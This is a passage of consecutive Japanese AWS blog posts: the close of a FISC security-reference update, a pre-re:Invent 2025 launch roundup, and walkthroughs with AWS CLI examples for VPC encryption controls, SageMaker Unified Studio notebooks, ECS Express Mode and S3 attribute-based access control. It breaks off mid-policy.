を参照してきましたが、金融サービス業界のワークロードで重要視される、複数デバイスの登録による Disaster Recovery 対応を考慮し、FISCSEC5-BP05 を追加しました。 FISCSEC5-BP05 に沿った実装により、パスワードに加えて追加の認証要素により不正アクセスを防止し、複数の MFA デバイス登録により単一障害点を排除して事業継続性を確保できます。また、複数拠点への MFA デバイス配置により災害時の迅速な運用切り替えが可能となり、金融サービス業界で求められる厳格なセキュリティ要件への準拠を実現できます。 図 3. FISCSEC-BP05 まとめ AWS は金融サービス業界のお客様が安心して AWS をお使いいただけるように、「AWS FISC 安全対策基準対応リファレンス」と「金融リファレンスアーキテクチャ 日本版」を提供しています。本ブログでは、FISC 安全対策基準・解説書の第 12 版から第 13 版へのアップデートに合わせて、「AWS FISC 安全対策基準対応リファレンス」と「FSI Lens for FISC」を更新したことを報告しました。「FSI Lens for FISC」では、実務基準ごとの対応表の更新に加えて、MFA の実装に関するベストプラクティスを追加しました。これらのリソースにより、金融サービス業界のお客様がより安全に AWS を活用することに繋がれば幸いです。 謝辞 アマゾン ウェブ サービス ジャパン合同会社の下記メンバーで「AWS FISC 安全対策基準対応リファレンス」と「FSI Lens for FISC」の更新を行いました。 AWS FISC 安全対策基準対応リファレンス：能仁信亮、神部洋介、佐藤航大、佐藤真也 金融リファレンスアーキテクチャ日本版：辻本雄哉、松本耕一朗、神部洋介、佐藤航大、佐藤真也 佐藤真也 アマゾンウェブサービスジャパン合同会社 フィナンシャルサービス技術本部 ソリューションアーキテクト AWS のストレージサービス全般が好きで、AWS Black Belt オンラインセミナーなどのイベントへの登壇にも力を入れています。 <!-- '"` -->

2025 年 12 月 1 週は、AWS の最新ニュース、専門家によるインサイト、グローバルなクラウドコミュニティとのつながりをご提供する AWS re:Invent (2025 年 12 月 1～5 日) をお見逃しなく! AWS ニュースブログチームは、サービスチームによる何よりエキサイティングなリリースを紹介する投稿の作成を完了しつつあります。ラスベガスで直接参加する場合は、到着前に プログラム 、 セッションカタログ 、 参加者ガイド をご確認ください。直接参加できない場合 基調講演とイノベーショントークをライブストリームでご視聴ください。 Kiro の一般提供を開始 2025 年 11 月 17 週、仕様主導型開発を中心に構築された初の AI コーディングツールである Kiro が 一般公開 されました。このツールは、エージェンティックワークフローをより明確化かつ構造化するために AWS が先駆けて開発したもので、プレビューリリース以来、すでに 25 万人以上の開発者に採用されています。GA のリリースでは、4 つの新機能が導入されました。 仕様の正確性を検証するプロパティベースのテスト (コードが指定した内容と一致するかどうかを測定)、 Kiroでの進捗状況を確認する新しい方法 、 エージェントをターミナルに接続する新しい Kiro CLI 、一元管理を備えた エンタープライズチームプラン です。 2025 年 11 月 17 週のリリース re:Invent ウィークが近づくにつれ、数多くの新特徴量やサービスのリリースが発表されています。主なリリースは次のとおりです。 新しい Amazon EC2 P6-B300 インスタンスで大規模な AI アプリケーションを高速化 ウェブサイトの配信とセキュリティに超過料金が発生しない定額料金プランのご紹介 AI ワークロードのパフォーマンスとコストの一致に役立つ新しい Amazon Bedrock サービスティア Container Network Observability を使用して、EKS クラスター全体のネットワークパフォーマンスとトラフィックをモニタリング 最新情報: 複数の組織にわたる AWS 請求とコストを一元管理するための新しい AWS Billing Transfer AWS Control Tower で Controls Dedicated エクスペリエンスを導入 Amazon SageMaker Catalog の新しいビジネスメタデータ特徴量により、組織全体で発見をより容易にする AWS Lambda のテナント分離モードでマルチテナントアプリケーション開発を効率化 AWS Step Functions の強化されたローカルテストでワークフロー開発を加速する AWS IAM アウトバウンド ID フェデレーションを使用して、外部サービスへのアクセスを簡素化 Amazon S3 汎用バケットの属性ベースのアクセス制御のご紹介 VPC 暗号化コントロールのご紹介: リージョンの VPC 内および VPC 間での転送中の暗号化の強制 Amazon ECS Express Mode を使用して、インフラストラクチャを複雑化することなく、本番環境に対応したアプリケーションを構築 Amazon SageMaker Unified Studio の AI エージェントが組み込まれた新しいワンクリックオンボーディングとノートブック 「aws ログイン」を使用した開発者による AWS へのアクセスの簡略化 AWS バンドル特徴量のリリースをいくつかご紹介します。 Amazon EKS は、新しい プロビジョニング済みコントロールプレーン 、 フルマネージド MCP サーバー (プレビュー)、 Amazon ECS を使用したコンソールでの 強化された AI によるトラブルシューティング を発表しました。 Amazon ECR では、 マネージドコンテナイメージ署名 、 ほとんどアクセスされないコンテナイメージ用のアーカイブストレージクラス 、 FIPS エンドポイント用の AWS PrivateLink を導入しました。 Amazon Aurora DSQL は、コンソールの 統合型クエリエディタ 、クエリプランの ステートメントレベルのコスト見積もり 、 新しい Python、Node.js、JDBC コネクタ 、最大 256 TiB のストレージボリューム を提供します。 Amazon API Gateway は、 REST API のレスポンスストリーミング 、 デベロッパーポータル機能 、 REST API 用の追加の TLS セキュリティポリシー をサポートしています。 Amazon Connect は、 音声用の会話型分析 、 通話処理を高速化するための永続的エージェント接続 、 マルチスキルエージェントスケジューリング を提供します。 Amazon CloudWatch は、 Logs Insights のスケジュール済みクエリ と EC2 でのコンソール内エージェント管理 を導入しました。 AWS CloudFormation StackSets では、 自動デプロイモードのデプロイ順序 を設定できます。スタックインスタンスが複数のアカウントとリージョンで自動的にデプロイされる順序を定義できます。 AWS NAT Gateway は リージョナルアベイラビリティ をサポートしているため、アベイラビリティーゾーン (AZ) 全体で自動的に拡張および縮小される単一の NAT ゲートウェイを作成できます。 Amazon Bedrock は、 カスタムモデルインポート用の OpenAI GPT OSS モデル 、 ガードレールのコーディングユースケース 、データ自動化の 音声分析用の追加の 10 言語 をサポートしています。 Amazon OpenSearch は、コンソールを通じたサーバーレスでの 運用上の可視性を向上させる Cluster Insights 、 バックアップと復元 、 データプレーン API の監査ログ をサポートしています。 ここで取り上げていないその他のリリースニュースについては、 AWS What’s New をご参照ください。2025 年 12 月 1 週の re:Invent でお会いしましょう。 – Channy 原文は こちら です。

2025 年 11 月 21 日、仮想プライベートクラウド (VPC) 暗号化制御を発表しました。これは Amazon Virtual Private Cloud (Amazon VPC) の新機能です。これにより、リージョンの VPC 内および VPC 間のすべてのトラフィックで転送中の暗号化を監査および強制できます。 金融サービス、医療、政府、小売業を営む組織は、クラウドインフラストラクチャ全体で暗号化コンプライアンスを維持する上で、運用が非常に複雑になっています。従来のアプローチでは、スプレッドシートを使用してさまざまなネットワークパスにわたる暗号化を手動で追跡しながら、複数のソリューションをつなぎ合わせて複雑な公開鍵基盤 (PKI) を管理する必要がありました。このプロセスは人為的ミスが発生しやすく、インフラストラクチャの規模が拡大するにつれてますます困難になります。 AWS Nitro ベースのインスタンスは、パフォーマンスに影響を与えずにハードウェアレイヤーでトラフィックを自動的に暗号化しますが、組織にはこれらの機能を VPC インフラストラクチャ全体に拡張するためのシンプルなメカニズムが必要です。これは、医療保険の携行性と責任に関する法律 (HIPAA)、ペイメントカード業界データセキュリティ基準 (PCI DSS)、米国連邦政府によるリスクおよび認証管理プログラム (FedRAMP) など、環境全体でエンドツーエンドの暗号化の証明を必要とする規制フレームワークへの準拠を実証する場合に特に重要です。組織は、パフォーマンスのトレードオフや複雑なキー管理システムを管理することなく、暗号化状態を一元的に可視化して制御する必要があります。 VPC 暗号化制御は、監視と強制という 2 つの運用モードを提供することでこれらの課題に対処します。監視モードでは、トラフィックフローの暗号化ステータスを監査し、プレーンテキストトラフィックを許可するリソースを特定できます。この機能により、VPC フローログに新しい暗号化ステータスフィールドが追加され、トラフィックが Nitro ハードウェア暗号化、アプリケーション層暗号化 (TLS)、またはその両方を使用して暗号化されているかどうかを可視化できます。 変更が必要なリソースを特定したら、暗号化を実装するための措置を講じることができます。 Network Load Balancer 、 Application Load Balancer 、 AWS Fargate タスクなどの AWS サービスは、基盤となるインフラストラクチャを Nitro ハードウェアに自動的かつ透過的に移行します。ユーザーによるアクションは不要で、サービスの中断もありません。前世代の Amazon Elastic Compute Cloud (Amazon EC2) インスタンスなどの他のリソースについては、 モダンな Nitro ベース の インスタンスタイプ に切り替えるか、アプリケーションレベルで TLS 暗号化を設定する必要があります。 すべてのリソースが暗号化準拠のインフラストラクチャに移行されたら、強制モードに切り替えることができます。この暗号化準拠のハードウェアと通信プロトコルへの移行は、強制モードを有効にする前提条件です。 インターネットゲートウェイ や NAT ゲートウェイ など、暗号化をサポートしない (トラフィックが VPC や AWS ネットワークの外部を流れるため) リソースには、特定の除外を設定できます。 その他の リソース は暗号化に準拠している必要があり、除外することはできません。アクティベーション後、強制モードでは、今後のリソースはすべて互換性のある Nitro インスタンスでのみ作成され、誤ったプロトコルまたはポートが検出された場合は暗号化されていないトラフィックはドロップされます。 使用開始方法の説明 このデモでは、3 つの EC2 インスタンスを起動しました。1 つをポート 80 に Nginx をインストールしたウェブサーバーとして使用し、クリアテキストの HTML ページを処理します。残りの 2 つは、サーバーに対して HTTP GET リクエストを継続的に送信しています。これにより、VPC にクリアテキストトラフィックが生成されます。ウェブサーバーと 2 つのクライアントのうちの 1 つには m7g.medium インスタンスタイプを使用しています。このインスタンスタイプは、基盤となる Nitro System ハードウェアを使用して、インスタンス間の転送中のトラフィックを自動的に暗号化します。他のウェブクライアントには t4g.medium インスタンスを使用しています。そのインスタンスのネットワークトラフィックは、ハードウェアレベルで暗号化されていません。 はじめに、監視モードで暗号化制御を有効にします。 AWS マネジメントコンソール の左側のナビゲーションペインで [Your VPC] (お使いの VPC) を選択し、次に [VPC encryption controls] (VPC 暗号化制御) タブに切り替えます。 [Create encryption control] (暗号化制御を作成) を選択し、制御を作成する VPC を選択します。 各 VPC には 1 つの VPC 暗号化制御しか関連付けることができず、VPC ID と VPC 暗号化制御 ID の間に 1 対 1 の関係が構築されます。VPC 暗号化制御を作成するときに、リソースの編成と管理に役立つタグを追加できます。新しい VPC を作成する際に VPC 暗号化制御を有効にすることもできます。 この制御の 名前 を入力します。制御したい VPC を選択します。既存の VPC では、 監視モード で起動する必要があります。暗号化されていないトラフィックがないことが確認できたら 強制モード を有効にできます。新しい VPC については、作成時に暗号化を適用できます。 オプションで、既存の VPC で暗号化制御を作成するときにタグを定義できます。ただし、VPC の作成時に暗号化制御を有効にすると、VPC 暗号化制御用に個別のタグを作成することはできません。これは、VPC と同じタグが自動的に継承されるためです。準備ができたら、 [Create encryption control] (暗号化制御を作成) を選択します。 代わりに、次のように AWS コマンドラインインターフェイス (AWS CLI) を使用することもできます。 aws ec2 create-vpc-encryption-control --vpc-id vpc-123456789 次に、コンソール、コマンドライン、またはフローログを使用して VPC の暗号化ステータスを監査します。 aws ec2 create-flow-logs \ --resource-type VPC \ --resource-ids vpc-123456789 \ --traffic-type ALL \ --log-destination-type s3 \ --log-destination arn:aws:s3:::vpc-flow-logs-012345678901/vpc-flow-logs/ \ --log-format '${flow-direction} ${traffic-path} ${srcaddr} ${dstaddr} ${srcport} ${dstport} ${encryption-status}' { "ClientToken": "F7xmLqTHgt9krTcFMBHrwHmAZHByyDXmA1J94PsxWiU=", "FlowLogIds": [ "fl-0667848f2d19786ca" ], "Unsuccessful": [] } 数分後、ログに次のトラフィックが表示されます。 flow-direction traffic-path srcaddr dstaddr srcport dstport encryption-status ingress - 10.0.133.8 10.0.128.55 43236 80 1 # &lt;-- HTTP between web client and server.Encrypted at hardware-level egress 1 10.0.128.55 10.0.133.8 80 43236 1 ingress - 10.0.133.8 10.0.128.55 36902 80 1 egress 1 10.0.128.55 10.0.133.8 80 36902 1 ingress - 10.0.130.104 10.0.128.55 55016 80 0 # &lt;-- HTTP between web client and server.Not encrypted at hardware-level egress 1 10.0.128.55 10.0.130.104 80 55016 0 ingress - 10.0.130.104 10.0.128.55 60276 80 0 egress 1 10.0.128.55 10.0.130.104 80 60276 0 10.0.128.55 は、ハードウェアで暗号化されたトラフィックを使用するウェブサーバーで、アプリケーションレベルでクリアテキストトラフィックを処理します。 10.0.133.8 は、ハードウェアで暗号化されたトラフィックを使用するウェブクライアントです。 10.0.130.104 は、ハードウェアレベルで暗号化されていないウェブクライアントです。 encryption-status フィールドには、送信元アドレスと送信先アドレス間のトラフィックの暗号化ステータスが表示されます。 0 はトラフィックがクリアテキストであることを意味します 1 は、トラフィックが Nitro システムによってネットワークレイヤー (レベル 3) で暗号化されていることを意味します 2 は、トラフィックがアプリケーションレイヤー (レベル 7、TCP ポート 443、TLS/SSL) で暗号化されていることを意味します 3 は、トラフィックがアプリケーションレイヤー (TLS) とネットワークレイヤー (Nitro) の両方で暗号化されていることを意味します。 「-」は、VPC 暗号化制御が有効になっていないか、AWS Flow Logs にステータス情報がないことを意味します。 Nitro ベースではないインスタンス ( 10.0.130.104 ) のウェブクライアントから発信されたトラフィックには 0 のフラグが付けられます。Nitro ベースのインスタンス ( 10.0.133.8 ) 上のウェブクライアントから開始されたトラフィックには、 1 のフラグが付けられます。 また、コンソールを使用して変更が必要なリソースを特定します。このレポートでは、暗号化されていない 2 つのリソース (Nitro ベースではないインスタンスのインターネットゲートウェイと Elastic Network Interface (ENI) ) が報告されます。 CLI を使用して、暗号化されていないリソースを確認することもできます。 aws ec2 get-vpc-resources-blocking-encryption-enforcement --vpc-id vpc-123456789 暗号化をサポートするようにリソースを更新したら、コンソールまたは CLI を使用して強制モードに切り替えることができます。 コンソールで VPC 暗号化制御を選択します。次に、 [Actions] (アクション) と [Switch mode] (モードの切り替え) を選択します。 または、次のように同等の CLI を使用することもできます。 aws ec2 modify-vpc-encryption-control --vpc-id vpc-123456789 --mode enforce 暗号化されていないと識別されたリソースを変更するにはどうすればよいですか? すべての VPC リソースは、ハードウェアレイヤーまたはアプリケーションレイヤーでトラフィックの暗号化をサポートする必要があります。ほとんどのリソースでは、何もする必要はありません。 AWS PrivateLink と ゲートウェイエンドポイント を介してアクセスする AWS サービスは、アプリケーションレイヤーで自動的に暗号化を適用します。これらのサービスは TLS で暗号化されたトラフィックのみを受け入れます。AWS は、アプリケーションレイヤーで暗号化されていないトラフィックを自動的にドロップします。 監視モードを有効にすると、Network Load Balancer、Application Load Balancer、 AWS Fargate クラスター、 Amazon Elastic Kubernetes Service (Amazon EKS) クラスターが、本質的に暗号化をサポートするハードウェアに自動的かつ徐々に移行します。この移行は、ユーザーによる操作を必要とせずに透過的に行われます。 一部の VPC リソースでは、最新の Nitro ハードウェアレイヤー暗号化をサポートする基盤となるインスタンスを選択する必要があります。これらには、EC2 インスタンス、 Auto Scaling グループ 、 Amazon Relational Database Service (Amazon RDS) データベース ( Amazon DocumentDB を含む)、 Amazon ElastiCache のノードベースのクラスター、 Amazon Redshift でプロビジョニングされたクラスター 、 EKS クラスター 、 ECS (EC2 キャパシティーを含む) 、 MSK プロビジョンド 、 Amazon OpenSearch Service 、および Amazon EMR などがあります。Redshift クラスターを移行するには、スナップショットから新しいクラスターまたは名前空間を作成する必要があります。 新世代のインスタンスを使用する場合、最近のインスタンスタイプはすべて暗号化をサポートしているため、すでに暗号化に準拠したインフラストラクチャが用意されている可能性があります。転送中の暗号化をサポートしていない旧世代のインスタンスの場合は、サポートされているインスタンスタイプにアップグレードする必要があります。 AWS Transit Gateway を使用する際に知っておくべきこと VPC 暗号化を有効にして AWS CloudFormation 経由で Transit Gateway を作成する場合、 ec2:ModifyTransitGateway および ec2:ModifyTransitGatewayOptions という、さらに 2 つの AWS Identity and Access Management (IAM) アクセス許可が必要です。CloudFormation は 2 段階のプロセスを使用して Transit Gateway を作成するため、これらのアクセス許可が必要になります。最初に基本設定で Transit Gateway を作成し、次に ModifyTransitGateway を呼び出して暗号化サポートを有効にします。これらのアクセス許可がないと、作成操作のように見える操作のみを実行していても、暗号化設定を適用しようとすると、作成中に CloudFormation スタックが失敗します。 料金と利用可能なリージョン VPC 暗号化制御は、米国東部 (オハイオ、バージニア北部)、米国西部 (北カリフォルニア、オレゴン)、アフリカ (ケープタウン)、アジアパシフィック (香港、ハイデラバード、ジャカルタ、メルボルン、ムンバイ、大阪、シンガポール、シドニー、東京)、カナダ (中部)、カナダ西部 (カルガリー)、欧州 (フランクフルト、アイルランド、ロンドン、ミラノ、パリ、ストックホルム、チューリッヒ)、中東 (バーレーン、UAE)、南米 (サンパウロ) の各 AWS リージョンで今すぐご利用いただけます。 VPC 暗号化制御は、2026 年 3 月 1 日まで無料でお使いいただけます。 VPC の料金ページ は、無料期間の終了日が近くなると更新され、詳細が表示されます。 詳細については、 VPC 暗号化制御のドキュメント を参照するか、AWS アカウントでお試しください。セキュリティ体制を強化し、コンプライアンス基準を満たすためにこの機能がどのように役立っているかを聞くのを楽しみにしています。 – seb 原文は こちら です。

2025 年 11 月 21 日、 Amazon SageMaker Unified Studio で既存の AWS データセットの使用をより迅速に開始するための方法を発表しました。既存の AWS Identity and Access Management (IAM) ロールと許可を使用して、組み込み AI エージェントを含む新しいサーバーレスノートブックで、アクセス可能なあらゆるデータを操作できるようになりました。 新しいアップデートには次が含まれます: ワンクリックオンボーディング – Amazon SageMaker は、 AWS Glue データカタログ 、 AWS Lake Formation 、 Amazon Simple Storage Services (Amazon S3) の既存のデータ許可をすべて備えたプロジェクトを、Unified Studio に自動的に作成できるようになりました。 直接統合 – Amazon SageMaker 、 Amazon Athena 、 Amazon Redshift 、 Amazon S3 Tables のコンソールページから SageMaker Unified Studio を直接起動できるため、分析と AI ワークロードへの迅速なパスが提供されます。 組み込み AI エージェントを含むノートブック – AI エージェントが組み込まれた新しいサーバーレスノートブックを使用できます。このノートブックは、SQL、Python、Spark、または自然言語をサポートし、データエンジニア、アナリスト、データサイエンティストが SQL クエリとコードの両方を 1 つの場所で開発および実行できるようにします。 また、SQL 分析のための クエリエディタ 、 JupyterLab 統合開発環境 (IDE)、 Visual ETL とワークフロー 、 機械学習 (ML) 機能 などの他のツールにもアクセスできます。 ワンクリックオンボーディングをお試しいただき、Amazon SageMaker Unified Studio に接続しましょう 使用を開始するには、 SageMaker コンソール に移動し、 [使用を開始] ボタンを選択します。 データとコンピューティングにアクセスできる既存の AWS Identity and Access Management (AWS IAM) ロールを選択するか、または新しいロールを作成するように求められます。 [セットアップ] を選択します。環境の設定が完了するまで数分かかります。このロールにアクセスが付与されると、SageMaker Unified Studio のランディングページに移動し、AWS Glue データカタログでアクセスできるデータセットと、使用できるさまざまな分析ツールおよび AI ツールが表示されます。 この環境では、Amazon Athena Spark、Amazon Athena SQL、AWS Glue Spark、 Amazon Managed Workflows for Apache Airflow (MWAA) といったサーバーレスコンピューティングが自動的に作成されます。&nbsp;これは、プロビジョニングを完全にスキップでき、ジャストインタイムのコンピューティングリソースを使用してすぐに作業を開始できるほか、完了すると自動的にスケールダウンして元に戻るため、コストを削減するのに役立つことを意味します。 Amazon Athena、Amazon Redshift、Amazon S3 Tables の特定のテーブルで作業を開始することもできます。例えば、Amazon Athena コンソールで [Amazon SageMaker Unified Studio でデータをクエリ] を選択し、 [使用を開始] を選択できます。 これらのコンソールから開始すると、クエリエディタに直接接続され、表示していたデータにアクセスできるようになり、以前のクエリコンテキストも保持されます。このコンテキスト認識ルーティングを使用することで、不要なナビゲーションなしで、SageMaker Unified Studio 内に入るとすぐにクエリを実行できます。 組み込み AI エージェントを含むノートブックの開始方法 Amazon SageMaker は、データチームと AI チームに、分析と ML ジョブのための高性能なサーバーレスプログラミング環境を提供する新しいノートブックエクスペリエンスを導入します。新しいノートブックエクスペリエンスには、Amazon SageMaker Data Agent が含まれています。これは、自然言語プロンプトからコードと SQL ステートメントを生成し、タスクを通じてユーザーをガイドすることで開発を加速する組み込み AI エージェントです。 新しいノートブックを開始するには、左側のナビゲーションペインで [ノートブック] メニューを選択して、SQL クエリ、Python コード、自然言語を実行し、データに関するインサイトを明らかにし、変換、分析、視覚化、共有できます。顧客分析や小売売上予測などのサンプルデータから開始できます。 顧客の使用状況の分析のサンプルプロジェクトを選択すると、サンプルノートブックを開いて、通信データセット内の顧客の使用パターンと行動を詳しく調べることができます。 前述のとおり、ノートブックには、自然言語プロンプトを通じてデータを操作するのに役立つ組み込み AI エージェントが含まれています。例えば、次のようなプロンプトを使用してデータ検出を開始できます: Show me some insights and visualizations on the customer churn dataset. 関連するテーブルを特定したら、特定の分析をリクエストして Spark SQL を生成できます。AI エージェントは、データ変換用の初期コードとビジュアライゼーション用の Python コードを含む、ステップバイステップのプランを作成します。生成されたコードの実行中にエラーメッセージが表示された場合は、 [AI で修正] を選択して解決のヘルプを参照してください。結果の例を次に示します: ML ワークフローでは、次のような具体的なプロンプトを使用します: Build an XGBoost classification model for churn prediction using the churn table, with purchase frequency, average transaction value, and days since last purchase as features. このプロンプトは、ステップバイステップのプラン、データのロード、特徴量エンジニアリング、SageMaker AI 機能を使用したモデルトレーニングコード、評価メトリクスなど、構造化された応答を受け取ります。SageMaker Data Agent は、具体的なプロンプトで最も効果的に機能し、Athena for Apache Spark や SageMaker AI などの AWS のデータ処理サービス向けに最適化されています。 新しいノートブックエクスペリエンスの詳細については、「 Amazon SageMaker Unified Studio ユーザーガイド 」にアクセスしてください。 今すぐご利用いただけます Amazon SageMaker Unified Studio のワンクリックオンボーディングと新しいノートブックエクスペリエンスは、米国東部 (オハイオ)、米国東部 (バージニア北部)、米国西部 (オレゴン)、アジアパシフィック (ムンバイ)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、アジアパシフィック (東京)、欧州 (フランクフルト)、欧州 (アイルランド) の各リージョンでご利用いただけるようになりました。詳細については、 SageMaker Unified Studio の製品ページ にアクセスしてください。 SageMaker コンソール でお試しいただき、 AWS re:Post for SageMaker Unified Studio に、または通常の AWS サポートの連絡先を通じて、ぜひフィードバックをお寄せください。 – Channy 原文は こちら です。

コンテナ化されたアプリケーションを本番環境にデプロイするには、ロードバランサー、自動スケーリングポリシー、ネットワーク、セキュリティグループにわたる何百もの設定パラメータを操作する必要があります。このオーバーヘッドにより、市場投入までの時間が遅れ、コアアプリケーション開発から焦点がずれてしまいます。 2025 年 11 月 21 日、Amazon ECS Express Mode を発表できたことを嬉しく思います。これは、 Amazon Elastic Container Service (Amazon ECS) の新機能で、1 つのコマンドで可用性が高くスケーラブルなコンテナ化されたアプリケーションを起動するのに役立ちます。ECS Express Mode は、シンプルな API を使用して、ドメイン、ネットワーク、負荷分散、自動スケーリングなどのインフラストラクチャのセットアップを自動化します。つまり、 Amazon Web Services (AWS) のベストプラクティスを使用して自信を持ってデプロイしながら、アプリケーションの構築に集中できます。さらに、アプリケーションが進化して高度な機能が必要になった場合でも、Amazon ECS を含むリソースの全機能をシームレスに設定してアクセスできます。 Amazon ECS Express Mode の使用を開始するには、 Amazon ECS コンソールに移動します。 Amazon ECS Express Mode は、AWS 全体で一般的に使用されるリソースを作成するための新たな統合により、Amazon ECS サービスリソースへのシンプルなインターフェイスを提供します。ECS Express Mode は、ECS クラスター、タスク定義、Application Load Balancer、自動スケーリングポリシー、Amazon Route 53 ドメインを 1 つのエントリポイントから自動的にプロビジョニングして設定します。 ECS Express Mode の使用を開始する Amazon ECS Express Mode の使用方法を順を追って説明します。ここでは、コンテナ化されたアプリケーションを最も迅速にデプロイできるコンソールエクスペリエンスに焦点を当てます。 この例では、Flask フレームワークを利用した Python 上で動作するシンプルなコンテナイメージアプリケーションを使用しています。こちらが、このデモの Dockerfile です。これを Amazon Elastic Container Registry (Amazon ECR) リポジトリにプッシュしました。 # Build stage FROM python:3.6-slim as builder WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir --user -r requirements.txt gunicorn # Runtime stage FROM python:3.6-slim WORKDIR /app COPY --from=builder /root/.local /root/.local COPY app.py . ENV PATH=/root/.local/bin:$PATH EXPOSE 80 CMD ["gunicorn", "--bind", "0.0.0.0:80", "app:app"] [Express Mode] ページで、 [Create] (作成) を選択します。インターフェイスが合理化されました。Amazon ECR からコンテナイメージ URI を指定してから、タスク実行ロールとインフラストラクチャロールを選択します。これらのロールをまだお持ちでない場合は、ドロップダウンから [Create new role] (新しいロールを作成) を選択して、 AWS Identity and Access Management (IAM) 管理ポリシーからロールを作成してください。 デプロイをカスタマイズしたい場合は、 [Additional configurations] (その他の設定) セクションを拡張して、クラスター、コンテナポート、ヘルスチェックパスや環境変数を定義できます。 このセクションでは、CPU、メモリ、またはスケーリングポリシーを調整することもできます。 Amazon CloudWatch Logs でのログのセットアップは、必要に応じてアプリケーションのトラブルシューティングができるように、常に設定するようにしています。設定に問題がなければ、 [Create] (作成) を選択します。 [Create] (作成) を選択すると、Express Mode が自動的に完全なアプリケーションスタックをプロビジョニングします。これには、 AWS Fargate タスクを含む Amazon ECS サービス、ヘルスチェック機能付き Application Load Balancer、CPU 使用率に基づく自動スケーリングポリシー、セキュリティグループとネットワーク設定、AWS が提供する URL を含むカスタムドメインなどがあります。 [Resources] (リソース) タブの [Timeline view] (タイムラインビュー) でも進捗状況を確認できます。 プログラムによるデプロイが必要な場合でも、次の AWS コマンドラインインターフェイス (AWS CLI) コマンド 1 つで同じ結果が得られます。 aws ecs create-express-gateway-service \ --image [ACCOUNT_ID].ecr.us-west-2.amazonaws.com/myapp:latest \ --execution-role-arn arn:aws:iam::[ACCOUNT_ID]:role/[IAM_ROLE] \ --infrastructure-role-arn arn:aws:iam::[ACCOUNT_ID]:role/[IAM_ROLE] 完了すると、コンソールにアプリケーション URL が表示され、実行中のアプリケーションにすぐにアクセスできます。 アプリケーションを作成したら、ECS サービスにおいて指定されたクラスター、または指定しなかった場合はデフォルトクラスターにアクセスして詳細を確認し、パフォーマンスをモニタリングしたり、ログを表示したり、デプロイを管理したりできます。 アプリケーションを新しいコンテナバージョンで更新する必要がある場合は、コンソールに戻って Express サービスを選択し、 [Update] (更新) を選択します。このインターフェイスを使用して、新しいイメージ URI を指定したり、リソースの割り当てを調整したりできます。 または、次のように、AWS CLI を使用して更新することもできます。 aws ecs update-express-gateway-service \ --service-arn arn:aws:ecs:us-west-2:[ACCOUNT_ID]:service/[CLUSTER_NAME]/[APP_NAME] \ --primary-container '{ "image": "[IMAGE_URI]" }' このエクスペリエンスで、全体的にセットアップの複雑さを軽減しながら、より高度な設定が必要なときでも、基盤となるすべてのリソースにアクセスできることがわかりました。 その他の情報 ECS Express Mode に関するその他の事項は次のとおりです。 利用できるリージョン – ECS Express Mode は、ローンチの際にすべての AWS リージョン でご利用いただけます。 Infrastructure as Code のサポート – AWS CloudFormation 、 AWS Cloud Development Kit (CDK) 、Terraform などの IaC ツールを利用して、Amazon ECS Express Mode を使ってアプリケーションをデプロイできます。 料金 – Amazon ECS Express Mode の使用に追加料金はかかりません。アプリケーションを起動して実行するために作成した AWS リソースに料金がかかります。 Application Load Balancer の共有 – 作成された ALB は、ホストヘッダーベースのリスナールールを使用して最大 25 の ECS サービス間で自動的に共有されます。これにより、ALB のコストを大幅に分散できます。 Amazon ECS コンソールから Amazon ECS Express Mode の使用を開始してください。詳細については、 Amazon ECS のドキュメント ページをご覧ください。 構築がうまくいきますように! –&nbsp; Donnie 原文は こちら です。

組織の規模が拡大するにつれて、ストレージリソースのアクセス許可の管理はますます複雑になり、時間がかかるようになっています。新しいチームメンバーが加わり、既存のスタッフの役割が変わり、新しい S3 バケットが作成されるにつれて、組織は複数のタイプのアクセスポリシーを絶えず更新して、S3 バケット全体のアクセス権を管理する必要があります。この課題は、管理者がこれらのポリシーを頻繁に更新して共有データセットや多数のユーザーのアクセス権を制御する必要があるマルチテナント S3 環境で特に顕著です。 2025 年 11 月 20 日、 Amazon Simple Storage Service (S3) 汎用バケット用の 属性ベースのアクセス制御 (ABAC) を導入しました。これは、S3 汎用バケットでタグを使用してデータへのアクセス権を制御することにより、ユーザーとロールのアクセス許可を自動的に管理できる新機能です。アクセス許可を個別に管理する代わりに、タグベースの IAM ポリシーまたはバケットポリシーを使用して、ユーザー、ロール、S3 汎用バケット間のタグに基づいてアクセスを自動的に許可または拒否できます。タグベースの認証により、バケット名の代わりにプロジェクト、チーム、コストセンター、データ分類、またはその他のバケット属性に基づいて S3 アクセス権を簡単に付与できるため、大規模な組織のアクセス許可の管理が大幅に簡素化されます。 ABAC の仕組み 一般的なシナリオは次のとおりです。管理者として、開発環境で使用する予定のすべての S3 バケットへのアクセス権をデベロッパーに付与したいと考えています。 ABAC を使用すると、開発環境の S3 バケットに environment:development などのキーと値のペアをタグ付けし、同じ environment:development タグにチェックが入っている AWS Identity and Access Management (IAM) プリンシパルに ABAC ポリシーをアタッチできます。バケットタグがポリシーの条件と一致する場合、プリンシパルにアクセス権が付与されます。 これがどのように機能するか見てみましょう。 使用の開始 まず、タグベースの認証を使用したい各 S3 汎用バケットで ABAC を明示的に有効にする必要があります。 Amazon S3 コンソール に移動し、汎用バケットを選択してから [Properties] (プロパティ) に移動すると、このバケットに対して ABAC を有効にするオプションが表示されます。 また、 AWS コマンドラインインターフェイス (AWS CLI) を使用して、新しい PutBucketAbac API を使用してプログラムで有効にすることもできます。ここでは、米国東部 (オハイオ) us-east-2 AWS リージョン にある my-demo-development-bucket というバケットで ABAC を有効にしています。 aws s3api put-bucket-abac --bucket my-demo-development-bucket abac-status Status=Enabled --region us-east-2 または、 AWS CloudFormation を使用している場合は、テンプレートの AbacStatus プロパティを [Enabled] (有効) に設定して ABAC を有効にすることもできます。 次に、S3 汎用バケットにタグを付けましょう。タグベースの認証の基準となる environment:development タグを追加します。 S3 バケットにタグが付けられたので、 environment:development タグが一致することを検証する ABAC ポリシーを作成し、dev-env-role という IAM ロールにアタッチします。このロールへのデベロッパーのアクセス権を管理することで、すべての開発環境バケットに対するアクセス許可を 一元的に 制御できます。 IAM コンソール に移動し、 [Policies] を選択し、 [ポリシーの作成] を選択します。&nbsp; [Policy editor] (ポリシーエディタ) で JSON ビューに切り替え、ユーザーが S3 オブジェクトの読み取り、書き込み、一覧表示を行えるようにするポリシーを作成します。ただし、これは、ユーザーに「environment」というキーが付けられたタグがあり、その値が S3 バケットで宣言されている値と一致する場合に限られます。このポリシーに s3-abac-policy という名前を付けて保存します。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ 